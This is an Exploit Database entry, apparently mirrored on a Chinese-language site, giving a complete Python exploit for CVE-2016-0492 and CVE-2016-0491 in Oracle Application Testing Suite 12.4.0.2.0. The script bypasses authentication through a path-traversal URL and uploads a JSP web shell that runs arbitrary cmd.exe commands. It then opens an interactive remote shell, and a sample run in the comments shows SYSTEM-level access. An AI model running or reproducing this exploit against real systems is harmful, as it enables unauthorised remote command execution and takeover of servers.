Oracle Application Testing Suite (ATS) 12.4.0.2.0 – Authentication Bypass / Arbitrary File Upload

• Exploit Database
• 41 阅读

• 作者： Zhou Yu
  日期： 2016-04-13
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/39691/

• # Exploit Title: Oracle Application Testing Suite Authentication Bypass and Arbitrary File Upload Remote Exploit
  # Exploit Author: Zhou Yu <504137480@qq.com >
  # Vendor Homepage: http://www.oracle.com/
  # Software Link: http://www.oracle.com/technetwork/oem/downloads/apptesting-downloads-1983826.html?ssSourceSiteId=otncn
  # Version: 12.4.0.2.0
  # Tested on: Win7 SP1 32-bit
  # CVE : CVE-2016-0492 and CVE-2016-0491
  
  import urllib2
  import urllib
  
  ip = '192.168.150.239'
  port = 8088
  
  url = "http://" + ip + ":" + str(port)
  #bypass authentication
  url = url+"/olt/Login.do/../../olt/UploadFileUpload.do"
  request = urllib2.Request(url)
  
  webshell_content='''
  <%@ page import="java.util.*,java.io.*"%>
  <%
  if (request.getParameter("{cmd}") != null) {{
  Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("{cmd}"));
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  DataInputStream dis = new DataInputStream(in);
  String disr = dis.readLine();
  while (disr != null) {{
  out.println(disr);
  disr = dis.readLine();
  }}
  }}
  %>
  '''
  boundary = "---------------------------7e01e2240a1e"
  request.add_header('Content-Type', "multipart/form-data; boundary=" + boundary)
  post_data = "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"storage.extension\"\r\n"
  post_data = post_data + "\r\n.jsp\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"fileName1\"\r\n"
  post_data = post_data + "\r\nwebshell.jsp\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"fileName2\"\r\n"
  post_data = post_data + "\r\n\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"fileName3\"\r\n"
  post_data = post_data + "\r\n\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"fileName4\"\r\n"
  post_data = post_data + "\r\n\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"fileType\"\r\n"
  post_data = post_data + "\r\n*\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"file1\"; filename=\"webshell.jsp\"\r\n"
  post_data = post_data + "Content-Type: text/plain\r\n"
  post_data = post_data + "\r\n" + webshell_content +"\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"storage.repository\"\r\n"
  post_data = post_data + "\r\nDefault\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"storage.workspace\"\r\n"
  post_data = post_data + "\r\n.\r\n"
  post_data = post_data + "--" + boundary + "\r\n"
  post_data = post_data + "Content-Disposition: form-data; name=\"directory\"\r\n"
  post_data = post_data + "\r\n" + "../oats\servers\AdminServer\\tmp\_WL_user\oats_ee\\1ryhnd\war\pages" +"\r\n"
  post_data = post_data + "--" + boundary + "--"+"\r\n"
  
  try:
  request.add_data(post_data)
  response = urllib2.urlopen(request)
  if response.code == 200 :
  print "[+]upload done!"
  webshellurl = "http://" + ip + ":" + str(port) + "/olt/pages/webshell.jsp"
  print "[+]wait a moment,detecting whether the webshell exists..."
  if urllib2.urlopen(webshellurl).code == 200 :
  print "[+]upload webshell successfully!"
  print "[+]return a cmd shell"
  while True:
  cmd = raw_input(">>: ")
  if cmd == "exit" :
  break
  print urllib.urlopen(webshellurl+"?{cmd}=" + cmd).read().lstrip()
  else:
  print "[-]attack fail!"
  else:
  print "[-]attack fail!"
  except Exception as e:
  print "[-]attack fail!"
  
  '''
  #run the exploit and get a cmd shell
  root@kali:~/Desktop# python exploit.py 
  [+]upload done!
  [+]wait a moment,detecting whether the webshell exists...
  [+]upload webshell successfully!
  [+]return a cmd shell
  >>: whoami
  nt authority\system
  
  
  >>: exit
  '''